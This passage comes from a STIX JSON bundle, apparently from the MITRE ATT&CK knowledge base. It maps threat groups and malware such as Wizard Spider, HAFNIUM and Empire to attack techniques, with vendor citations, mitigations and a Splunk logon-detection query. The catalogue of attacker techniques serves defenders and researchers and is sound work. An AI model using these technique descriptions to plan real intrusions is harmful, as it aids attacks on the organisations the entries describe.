Maccaglia)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--743f2f00-57d0-4df8-94db-b044e2551890","created":"2023-08-07T16:05:05.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.655Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated stolen victim data to various cloud storage providers.(Citation: Mandiant FIN12 Oct 2021) ","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7443ab04-1054-49db-8721-a265ef4972dd","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TechNet Audit Policy","description":"Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.","url":"https://technet.microsoft.com/en-us/library/dn487457.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T15:22:05.473Z","description":"Monitor for newly constructed logon behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access). Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy)\n\nAnalytic 1 - Unusual logon patterns and times.\n\nindex=windows sourcetype=\"WinEventLog:Security\" \n(\n (EventCode=4624 OR EventCode=4768) AND\n Logon_Type=3 AND\n NOT [search index=windows sourcetype=\"WinEventLog:Security\" EventCode=4768 | stats count by Account_Name | where count < 10 | fields Account_Name]\n) ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74467d5d-5b28-4b91-9494-e421ddeabebe","type":"relationship","created":"2019-04-17T18:43:36.349Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Check Point Research. (2019, February 4). SpeakUp: A New Undetected Backdoor Linux Trojan. Retrieved April 17, 2019.","url":"https://research.checkpoint.com/speakup-a-new-undetected-backdoor-linux-trojan/","source_name":"CheckPoint SpeakUp Feb 2019"}],"modified":"2019-04-22T20:29:31.349Z","description":"[SpeakUp](https://attack.mitre.org/software/S0374) uses the ifconfig -a command. (Citation: CheckPoint SpeakUp Feb 2019)","relationship_type":"uses","source_ref":"malware--a5575606-9b85-4e3d-9cd2-40ef30e3672d","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7447ce8c-6c1a-497e-86d5-1adf960e23a3","type":"relationship","created":"2019-03-11T17:18:27.589Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.516Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use [PsExec](https://attack.mitre.org/software/S0029) to execute a payload on a remote host.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74480cd6-1f2e-4c2d-a1ad-82cc50d63d14","created":"2023-02-23T18:08:10.953Z","revoked":false,"external_references":[{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T18:08:10.953Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has lured victims into clicking malicious Dropbox download links delivered through spearphishing.(Citation: Kaspersky LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74486fa3-a5b8-49b2-82b7-0c453b4baf12","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dingledine Tor The Second-Generation Onion Router","description":"Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.","url":"http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"}],"modified":"2020-04-29T23:00:47.227Z","description":"[Tor](https://attack.mitre.org/software/S0183) encapsulates traffic in multiple layers of encryption, using TLS by default.(Citation: Dingledine Tor The Second-Generation Onion Router)","relationship_type":"uses","source_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74499e24-ecca-46bb-87fb-e8beb25f1c11","type":"relationship","created":"2019-04-19T15:30:36.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR19-100A","source_name":"US-CERT HOPLIGHT Apr 2019"}],"modified":"2020-03-20T22:44:44.241Z","description":"[HOPLIGHT](https://attack.mitre.org/software/S0376) has utilized Zlib compression to obfuscate the communications payload. (Citation: US-CERT HOPLIGHT Apr 2019)\t\n","relationship_type":"uses","source_ref":"malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--744da30b-d540-4512-85c7-d32310e2aa78","type":"relationship","created":"2021-11-19T18:35:05.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."},{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."}],"modified":"2021-11-23T15:26:58.711Z","description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to capture and store clipboard data.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--745106bb-3641-488e-ae1c-547cd6ea9b7a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Dir","description":"Microsoft. (n.d.). Dir. Retrieved April 18, 2016.","url":"https://technet.microsoft.com/en-us/library/cc755121.aspx"}],"modified":"2020-03-17T19:12:13.064Z","description":"[cmd](https://attack.mitre.org/software/S0106) can be used to find information about the operating system.(Citation: TechNet Dir)","relationship_type":"uses","source_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--74543008-8a06-4f14-b135-413bc83d6232","created":"2022-03-30T14:26:51.860Z","x_mitre_version":"0.1","external_references":[{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for third-party application logging, messaging, and/or other artifacts that may abuse Microsoft Outlook rules to obtain persistence on a compromised system. SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)","modified":"2022-04-20T12:39:45.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7457d1f4-9829-4f60-a12e-e6b9952b55f1","created":"2022-09-07T19:29:34.124Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T14:48:10.275Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used trojanized documents that retrieved remote templates from an adversary-controlled website.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--745a30c5-d0d6-4405-b0f4-74c8630cd707","type":"relationship","created":"2020-03-02T14:22:24.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}],"modified":"2022-03-25T19:03:53.647Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--745a4072-dbeb-417b-9826-423a76f93bb6","created":"2024-03-07T19:44:37.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T20:13:24.304Z","description":"Monitor executed commands and arguments that may abuse Electron apps to execute malicious content. For example, analyze commands invoking `teams.exe` or `chrome.exe` to execute malicious or abnormal content.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--745d3440-ecdb-4e3f-b9e6-b4484bb6c465","created":"2022-01-11T16:27:31.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.996Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can use a variant of the sysprep UAC bypass.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7464b3a1-f7ab-481b-97d4-c98199e0a387","type":"relationship","created":"2020-06-16T17:53:18.825Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gamaredon June 2020","url":"https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/","description":"Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."}],"modified":"2020-06-16T17:53:18.825Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered macros which can tamper with Microsoft Office security settings.(Citation: ESET Gamaredon June 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--74650ec9-91db-4f17-a30e-2bfc1b84c86f","created":"2021-04-14T14:03:30.666Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Operation Saffron Rose 2013","description":"Villeneuve, N. et al.. (2013). OPERATION SAFFRON ROSE . Retrieved May 28, 2020.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-operation-saffron-rose.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-09T16:46:55.724Z","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) has lured victims into executing malicious files.(Citation: FireEye Operation Saffron Rose 2013)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860","type":"relationship","created":"2017-05-31T21:33:27.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-03-17T02:38:48.577Z","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware attempts to determine the installed version of .NET by querying the Registry.(Citation: Citizen Lab Stealth Falcon May 2016)","relationship_type":"uses","source_ref":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--746c2da0-7ee6-4dd7-90b1-23c020cdb71d","type":"relationship","created":"2021-05-05T13:55:01.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-05T13:55:01.285Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can securely delete files by first writing random data to the file.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--746c2ff0-e5a1-494f-a9c9-bc45faceb5c5","created":"2022-04-19T16:41:28.970Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) can identify the system language on a compromised host.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-19T16:41:28.970Z","relationship_type":"uses","source_ref":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--746c3746-a4e3-4fcb-849c-a1646e48a1bf","created":"2021-03-03T20:27:49.262Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Exchange Zero Days March 2021","description":"Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021.","url":"https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html"},{"source_name":"Rapid7 HAFNIUM Mar 2021","description":"Eoin Miller. (2021, March 23). Defending Against the Zero Day: Analyzing Attacker Behavior Post-Exploitation of Microsoft Exchange. Retrieved October 27, 2022.","url":"https://www.rapid7.com/blog/post/2021/03/23/defending-against-the-zero-day-analyzing-attacker-behavior-post-exploitation-of-microsoft-exchange/"},{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"},{"source_name":"Tarrask scheduled task","description":"Microsoft Threat Intelligence Team & Detection and Response Team . (2022, April 12). Tarrask malware uses scheduled tasks for defense evasion. Retrieved June 1, 2022.","url":"https://www.microsoft.com/security/blog/2022/04/12/tarrask-malware-uses-scheduled-tasks-for-defense-evasion/"},{"source_name":"Microsoft HAFNIUM March 2020","description":"MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T22:23:41.490Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, [China Chopper](https://attack.mitre.org/software/S0020), and [ASPXSpy](https://attack.mitre.org/software/S0073).(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)(Citation: Tarrask scheduled task)(Citation: Rapid7 HAFNIUM Mar 2021) ","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--746e7195-4d9c-4539-b27c-94c78871d09f","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T14:00:43.670Z","description":"Monitor for unexpected deletion of a virtual machine or database instance (ex: `instance.delete` within GCP Audit Logs, `DeleteDBInstance` in AWS)","relationship_type":"detects","source_ref":"x-mitre-data-component--7561ed50-16cb-4826-82c7-c1ddca61785e","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7473a1e1-12b5-41b5-ab49-b05a817cdf43","type":"relationship","created":"2021-10-11T15:33:45.217Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-14T23:25:08.431Z","description":"[P8RAT](https://attack.mitre.org/software/S0626) can send randomly-generated data as part of its C2 communication.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--7c58fff0-d206-4db1-96b1-e3a9e0e320b9","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--74754640-5989-43de-9fab-5a986d9fc8f5","created":"2022-01-25T15:40:22.779Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) can enumerate drives and list the contents of the C: drive on a victim's computer.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T21:13:50.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--74779612-4c9b-4b23-8138-763f84362f8f","type":"relationship","created":"2020-03-11T17:30:31.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:47:00.148Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use GitHub for data exfiltration.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--747c6b21-0916-43ee-9655-937cc9e9f0ab","type":"relationship","created":"2021-07-07T01:57:06.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-09-20T17:42:18.690Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--747e4a60-7460-4990-a8ce-d0c1af807dd7","type":"relationship","created":"2021-03-17T20:59:14.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-17T16:24:49.162Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and 